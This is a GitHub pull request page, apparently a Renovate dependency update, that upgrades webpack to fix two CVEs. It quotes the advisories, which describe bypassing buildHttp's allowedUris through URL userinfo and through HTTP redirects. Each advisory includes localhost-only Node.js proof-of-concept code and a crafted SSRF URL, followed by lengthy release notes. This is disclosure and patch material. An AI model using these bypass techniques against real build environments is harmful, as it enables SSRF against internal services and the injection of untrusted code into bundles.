You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
webpack version: 5.104.0
Node version: v18.19.1
Details
Root cause (high level):allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.
Example crafted URL:
http://127.0.0.1:9000@127.0.0.1:9100/secret.js
If the allow-list is ["http://127.0.0.1:9000"], then:
Raw string check: crafted.startsWith("http://127.0.0.1:9000") → true
URL parsing (WHAT new URL() will contact): origin → http://127.0.0.1:9100 (host/port after @)
As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.
Evidence from reproduction:
Server logs showed the internal-only endpoint being fetched:
[internal] 200 /secret.js served (...) (observed multiple times)
Attacker-side build output showed:
the internal secret marker was present in the bundle
the internal secret marker was present in the buildHttp cache
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
#!/usr/bin/env node
"use strict";consthttp=require("http");constALLOWED_PORT=9000;// allowlisted-looking hostconstINTERNAL_PORT=9100;// actual target if bypass succeedsconstsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`// internal-only\n`+`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionlisten(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// "Allowed" host (should NOT be contacted if bypass works as intended)awaitlisten(ALLOWED_PORT,(req,res)=>{console.log(`[allowed-host] ${req.method}${req.url} (should NOT be hit in userinfo bypass)`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);});// Internal-only service (SSRF-like target)awaitlisten(INTERNAL_PORT,(req,res)=>{if(req.url==="/secret.js"){console.log(`[internal] 200 /secret.js served (secret=${secret})`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);return;}console.log(`[internal] 404 ${req.method}${req.url}`);res.statusCode=404;res.end("not found");});console.log("\nServers up:");console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);})();
2) Create server.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");functionfmtBool(b){returnb ? "✅" : "❌";}asyncfunctionwalk(dir){constout=[];letitems;try{items=awaitfs.readdir(dir,{withFileTypes: true});}catch{returnout;}for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);consts1=buf.toString("utf8");if(s1.includes(needle))returntrue;consts2=buf.toString("latin1");returns2.includes(needle);}catch{returnfalse;}}(async()=>{constwebpackVersion=require("webpack/package.json").version;constALLOWED_PORT=9000;constINTERNAL_PORT=9100;// NOTE: allowlist is intentionally specified without a trailing slash// to demonstrate the risk of raw string prefix checks.constallowedUri=`http://127.0.0.1:${ALLOWED_PORT}`;// Crafted URL using userinfo so that:// - The string begins with allowedUri// - The actual authority (host:port) after '@' is INTERNAL_PORTconstcrafted=`http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;constparsed=newURL(crafted);consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-httpuri-userinfo-poc-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(crafted)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedUri],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};console.log("\n[ENV]");console.log(`- webpack version: ${webpackVersion}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);console.log("\n[CRAFTED URL]");console.log(`- import specifier: ${crafted}`);console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);console.log(`- WHAT URL() parses:`);console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);console.log(` - hostname: ${parsed.hostname}`);console.log(` - port: ${parsed.port}`);console.log(` - origin: ${parsed.origin}`);console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error("\n[WEBPACK ERRORS]");console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constfoundSecret=m ? m[0] : null;console.log("\n[RESULT]");console.log(`- temp dir: ${tmp}`);console.log(`- bundle: ${bundlePath}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log("\n[SECURITY CHECK]");console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);if(foundSecret){constlockHit=awaitfileContains(lockfile,foundSecret);constcacheFiles=awaitwalk(cacheDir);letcacheHit=false;for(constfofcacheFiles){if(awaitfileContains(f,foundSecret)){cacheHit=true;break;}}console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);}}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
Details
In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
#!/usr/bin/env node
"use strict";consthttp=require("http");consturl=require("url");constallowedPort=9000;constinternalPort=9100;constinternalUrlDefault=`http://127.0.0.1:${internalPort}/secret.js`;constsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionstart(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// Internal-only service (SSRF target)awaitstart(internalPort,(req,res)=>{if(req.url==="/secret.js"){res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);console.log(`[internal] 200 /secret.js served (secret=${secret})`);return;}res.statusCode=404;res.end("not found");});// Allowed host (redirector)awaitstart(allowedPort,(req,res)=>{constparsed=url.parse(req.url,true);if(parsed.pathname==="/redirect.js"){constto=parsed.query.to||internalUrlDefault;// Safety guard: only allow redirecting to localhost internal service in this PoCif(!to.startsWith(`http://127.0.0.1:${internalPort}/`)){res.statusCode=400;res.end("to must be internal-only in this PoC");console.log(`[allowed] blocked redirect to: ${to}`);return;}res.statusCode=302;res.setHeader("Location",to);res.end("redirecting");console.log(`[allowed] 302 /redirect.js -> ${to}`);return;}res.statusCode=404;res.end("not found");});console.log(`\nServer running:`);console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);})();
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
Wrap concatenated modules in lazy __webpack_require__.cw accessors and inline require(), keeping a wrapped body's names and side effects intact. (by @hai-x in #21519)
Add performance hints reporting what a build costs: duplicate packages and modules, circular dependencies, broad contexts, large modules and chunks, hotspots, eval, missing PURE annotations, polyfills, redundant dynamic imports, OS-dependent rules, cache effectiveness, how chunks load, what splitting refused, why an optimization was skipped, and rules, defines, externals, aliases and barrel reexports nothing uses. An oversized asset names its largest modules, and an entrypoint carrying the runtime recommends optimization.runtimeChunk. Enable every check not set individually with performance.all, report hints in stats only with performance.hints: "stats", and get them in a stable order that leaves the build hashes unchanged. (by @alexander-akait in #21841)
Report inner-graph, AMD and bare module bailouts in optimizationBailout. (by @alexander-akait in #21740)
Allow marking externals as side-effect-free with a sideEffects flag. (by @alexander-akait in #21712)
Give externals the original request of a context module element. (by @alexander-akait in #21780)
Add the externalsPresets.nodeModules preset with an allowlist option to externalize installed packages, replacing the webpack-node-externals plugin. (by @alexander-akait in #21569)
Add output.library.umdAmdContainer for an AMD-style loader branch in UMD. (by @hai-x in #21770)
Resolve @custom-media values that are true / false or name another custom media. (by @alexander-akait in #21624)
Add the __webpack_css_server_styles__ module variable to read the CSS collected while rendering without a DOM, and keep that CSS in the order the styles were applied. (by @alexander-akait in #21576)
Patch the HTML <head> in place on hot update instead of forcing a full reload, including when a <script> that never executed is removed. (by @alexander-akait in #21624)
Scope counter names in CSS modules; fix the counter() counter-style and animation timeline keywords. (by @alexander-akait in #21600)
Derive import defer / import source from the target and fix the source phase. (by @alexander-akait in #21810)
Emit analyzable ESM urls for chunks, assets, styles, workers and wasm. (by @alexander-akait in #21788)
Tree shake CommonJS: module.exports object literals, exports destructured from a require() binding, unused method requires, and unused side-effect-free require() calls and reexports. (by @alexander-akait in #21841)
Resolve relative entry baseUri values and bake one side of a hash cycle. (by @alexander-akait in #21750)
Minify CSS further, only where the document is unchanged: shorthands and box longhands, font-weight, <position> and font-stretch keywords, colors (polar, Lab and hsl() con
❗ Important
✂ PR body was truncated to here.
Configuration
📅 Schedule: (in timezone America/New_York)
Branch creation
At any time (no schedule defined)
Automerge
At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
If you want to rebase/retry this PR, check this box
We reviewed changes in 242a5a8...fa5481a on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]
Feb 12, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 12, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
Feb 16, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 16, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
Feb 17, 2026
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.
Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/buffer@4.9.2. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 17, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
Feb 20, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 20, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
Feb 24, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 24, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - autoclosed
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Mar 30, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.
Labels
dependenciesUpgrade or downgrade of project dependencies.
0 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
^5.101.3→^5.111.1webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@) leading to build-time SSRF behavior
CVE-2025-68458 / GHSA-8fgc-7cc6-rx7x
More information
Details
Summary
When
experiments.buildHttpis enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outsideallowedUrisby using crafted URLs that include userinfo (username:password@host). IfallowedUrisenforcement relies on a raw string prefix check (e.g.,uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.Reproduced on:
Details
Root cause (high level):
allowedUrisvalidation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g.,new URL(uri)), which interprets the authority as the part after@.Example crafted URL:
http://127.0.0.1:9000@127.0.0.1:9100/secret.jsIf the allow-list is
["http://127.0.0.1:9000"], then:crafted.startsWith("http://127.0.0.1:9000")→ truenew URL()will contact):origin→http://127.0.0.1:9100(host/port after@)As a result, webpack fetches
http://127.0.0.1:9100/secret.jseven thoughallowedUrisonly includedhttp://127.0.0.1:9000.Evidence from reproduction:
[internal] 200 /secret.js served (...)(observed multiple times)PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
2) Create server.js
2) Create server.js
4) Run
Terminal A:
Terminal B:
5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
Severity
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence
CVE-2025-68157 / GHSA-38r7-794h-5758
More information
Details
Summary
When
experiments.buildHttpis enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforcesallowedUrisonly for the initial URL, but does not re-validateallowedUrisafter following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.Details
In the HTTP scheme resolver, the allow-list check (
allowedUris) is performed when metadata/info is created for the original request (viagetInfo()), but the content-fetch path follows redirects by resolving theLocationURL without re-checking whether the redirected URL is withinallowedUris.Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to
http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
2) Create server.js
3) Create attacker.js
4) Run
Terminal A:
Terminal B:
5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
Severity
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
webpack/webpack (webpack)
v5.111.1Compare Source
Patch Changes
Throw on a write to an imported binding without losing concatenation. (by @alexander-akait in #22141)
Keep the
</html>a page was written with, whatever opened the element. (by @aryanraj45 in #22103)Look an attribute up by what its value decodes to, not how it was spelled. (by @aryanraj45 in #22107)
Minify HTML by what a value says rather than how it was spelled. (by @alexander-akait in #22154)
Follow HTML template form and frameset rules during tree construction. (by @dependabot in #22129)
Keep the whitespace
calc()needs around+and-in a custom property. (by @alexander-akait in #22150)Keep an attribute's delimiter and spell its value back where quoting is frozen. (by @alexander-akait in #22119)
Rewrite an attribute value the source spelled with character references. (by @aryanraj45 in #22110)
Unquote an HTML attribute value carrying a vertical tab. (by @alexander-akait in #22162)
Keep a shadow's spread and canonicalize a merged selector list. (by @alexander-akait in #22101)
Leave out an implied tag and merge adjacent runs on the first pass. (by @aryanraj45 in #22121)
Minify in one pass what a second pass of the CSS minifier used to find. (by @alexander-akait in #22106)
Cover the CSS lookup tables no stylesheet in the corpus reaches. (by @aryanraj45 in #22126)
Keep
initialwhere an engine reads the property's initial keyword apart. (by @aryanraj45 in #22128)Join the CSS rules a cut leaves adjacent, and keep a value an escape ate. (by @alexander-akait in #22108)
Drop the dead CSS a cut leaves, and join more of the blocks that print alike. (by @alexander-akait in #22111)
Run the printer equivalence suite against Firefox as well as Chrome. (by @aryanraj45 in #22151)
Finish in one CSS pass the joins, drops and collapses left to a second. (by @alexander-akait in #22117)
Move the context module sources into
lib/context/. (by @alexander-akait in #22115)Declare loader context types in JSDoc instead of hand-written
.d.tsfiles. (by @alexander-akait in #22116)Emit a failing module's stack relative, and name what a tap failed with. (by @alexander-akait in #22122)
Finish in one CSS pass the drops, layer gathers and joins left to a second. (by @alexander-akait in #22120)
Speed up CSS parsing by stepping over dropped selector preludes in bytes. (by @alexander-akait in #22142)
Record hoisted, module and block declarations while parsing, not by re-walking. (by @alexander-akait in #22147)
Fold more enumerated attribute values and drop those naming no keyword. (by @alexander-akait in #22148)
Halve the CSS minifier's browser-version tables by narrowing their element type. (by @alexander-akait in #22140)
Make each
optimization.minimize.cssswitch govern its own rewrite alone. (by @alexander-akait in #22140)Join the rules a top-level
@layergather leaves meeting at the seam. (by @alexander-akait in #22140)Gather a CSS layer past a rule that writes only a different one. (by @alexander-akait in #22154)
Order HTML attributes by what reaches the output, and read values decoded. (by @alexander-akait in #22146)
Drop a fallback declaration every
browserslisttarget reads past. (by @alexander-akait in #22158)Fix module library exports lost under cache or missing behind a re-export. (by @hai-x in #22114)
v5.111.0Compare Source
Minor Changes
Enable
output.moduleby default withfutureDefaultson ESM-capable targets. (by @alexander-akait in #22088)Remove
experiments.outputModule, setoutput.moduleto emit ESM instead. (by @alexander-akait in #22011)Add
output.copyto copy files and directories into the output directory. (by @alexander-akait in #21938)Accept a file URL in any spelling Node reads where an absolute path is taken. (by @alexander-akait in #22012)
Minify inline CSS and JSON via
renderEmbeddedSource, exporting webpack's own. (by @alexander-akait in #21993)Export
cssMinifyandhtmlMinifyoncss.syntaxandhtml.syntax. (by @alexander-akait in #21953)Make
processResultasync and let a tap rename the asset it rewrote. (by @alexander-akait in #21854)Lower a CSS spelling a target cannot read and write a color fallback before one. (by @alexander-akait in #21926)
Allow optional filesystem cache build dependencies. (by @xiaoxiaojx in #21849)
Add
output.environment.topLevelAwaitand await every async ESM entry. (by @alexander-akait in #21915)Add
unusedSymbolsandpseudoClasses, and evaluate a CSS color function. (by @alexander-akait in #21927)Drop an implied shorthand slot, fold a math function, tighten color conversion. (by @alexander-akait in #21929)
Add
module.parser.javascript.specNamespaceObjectfor spec namespace objects. (by @alexander-akait in #22049)Drop what is already said or only a gone engine reads, add
lowerUnsupported. (by @alexander-akait in #21931)Add
normalizeUrlAttributes,mergeScripts, boolean and token switches. (by @alexander-akait in #21960)Minify an event handler attribute, and name the production each script body is. (by @alexander-akait in #21968)
Add source-map, asset, module, bailout, federation hints; group config checks. (by @alexander-akait in #21961)
Lower CSS nesting,
:dir()and custom at-rules; gate case folding and escapes. (by @alexander-akait in #21950)Add
optimization.minimize.css.mergeDistantRulesto join rules across a gap. (by @alexander-akait in #21969)Patch Changes
Minify an embedded body through the embedded path, dropping three html options. (by @alexander-akait in #21936)
Take a minified
styleattribute's answer whatever quoting it needs. (by @alexander-akait in #21936)Name chunk imports in the chunk loader, not at each import site. (by @alexander-akait in #22076)
Repair hashed names; under HMR bake hashed url maps and reload moved css names. (by @alexander-akait in #21916)
Enable
output.moduleformoduleandmodern-modulelibrary types. (by @alexander-akait in #22071)Name an anonymous
export default classbefore its static initializers run. (by @alexander-akait in #21910)Throw on a non-optional read past an undefined
DefinePluginmember. (by @alexander-akait in #22017)Reject a fulfilled async cycle member with the cycle's evaluation error. (by @alexander-akait in #21921)
Escape external requests in generated ESM imports and star reexports. (by @bjohansebas in #22078)
Fix stack overflows in ESM library star reexport cycles with externals. (by @bjohansebas in #22080)
Preserve live bindings when reexporting external ESM exports. (by @bjohansebas in #22082)
Use configured external requests in ESM star reexports; reject property paths. (by @bjohansebas in #22079)
Preserve import attributes on ESM library star reexports of externals. (by @bjohansebas in #22081)
Fail the build when a runtime module's code generation throws while hashing. (by @alexander-akait in #22034)
Settle a css chunk load without a DOM where its stylesheet cannot be read. (by @alexander-akait in #21970)
Await a deferred import's async dependency that is evaluating-async. (by @alexander-akait in #21934)
Keep a color the CSS minifier would round where its channels are read back. (by @alexander-akait in #21923)
Refresh a cached module's
resolveOptionsfrom the factory, not the pack. (by @hai-x in #21945)Read a
<script type>decoded, so a reference-spelled type is minified. (by @alexander-akait in #21933)Read the extension out of a path-scoped rule's alternation, class or braces. (by @alexander-akait in #21946)
Keep an HTML attribute name or list token holding a foreign template delimiter. (by @alexander-akait in #22018)
Answer a name a module does not export from the spec namespace. (by @alexander-akait in #22092)
Give a deferred namespace the spec's exotic shape when the exports are known. (by @alexander-akait in #21939)
Give a JSON, text or CommonJS namespace the spec's exotic shape and identity. (by @alexander-akait in #22087)
Report a missing asset instead of a code generation deadlock. (by @alexander-akait in #21992)
Keep a concatenated CommonJS reference a separate statement, guarding it once. (by @alexander-akait in #21962)
Keep CSS module exports for a direct loader
importModule()call. (by @alexander-akait in #22047)Fix
import.metaandrequire.main, and scope-hoistimport.meta.main. (by @alexander-akait in #21973)Honor
resolve.fileSystemand say wheremodule.exprContextCriticalmoved. (by @alexander-akait in #22091)Release stale compilation data from nested children and idle watch builds. (by @alexander-akait in #22096)
Resolve a
@valueonce and then localize it, wherever it names an identifier. (by @alexander-akait in #22036)Release the printed-text store's text when the CSS printer drops it. (by @alexander-akait in #21958)
Skip a foreign dependency whose
isLazyis a flag when walking a lazy barrel. (by @alexander-akait in #21998)Move diagnostics to
buildInfo.diagnostics, persisting parse-time bailouts. (by @hai-x in #22055)Invalidate consumer codegen when an inlined export value changes. (by @xiaoxiaojx in #22020)
Rebuild DelegatedModule when DLL manifest metadata changes. (by @xiaoxiaojx in #22028)
Keep a CSS layer's blocks in order where one of them streams. (by @alexander-akait in #22044)
Refuse inlining const exports across sync cycles with binding reads. (by @xiaoxiaojx in #22085)
Escape a text run ending in
</, which the tag after it made a comment of. (by @aryanraj45 in #22086)Skip JS render sentinel scans on chunks without HTML. (by @xiaoxiaojx in #21974)
Minify an attribute by what its value says, not by how the source spelled it. (by @aryanraj45 in #22095)
Cut allocation and scanning in the CSS and HTML printers, output unchanged. (by @alexander-akait in #21997)
Emit less chunk-loading runtime. (by @alexander-akait in #22094)
Recognize the reflected attributes of
frame,frameset,marqueeanddir. (by @alexander-akait in #22003)Drop the
neo-asyncdependency in favor of a faster built-in async helper. (by @alexander-akait in #21959)Speed up cache serialization by cutting per-object lookups and call frames. (by @alexander-akait in #21994)
Update dependencies and match the
ReadFileSynctype to Node.js typings. (by @dependabot in #21919)Match acorn on
**arrows, LS/PS cooking, string export names,programreuse. (by @alexander-akait in #21666)Parse a regexp literal the running engine cannot build, and keep locations. (by @alexander-akait in #22009)
Parse without acorn, serialize parse-error locations, trim walker allocations. (by @alexander-akait in #21667)
Drop the
acorndependency in favor of webpack's own JavaScript parser. (by @alexander-akait in #22042)Name HTML chunks after their tags' urls, drop the JS copy, type
text/html. (by @alexander-akait in #22008)v5.110.3Compare Source
Patch Changes
Fix
import()options, circular reexport severity and namespace writes. (by @alexander-akait in #21867)Skip ESM interop when require() targets a module outside the concatenation. (by @hai-x in #21884)
Fix concatenated
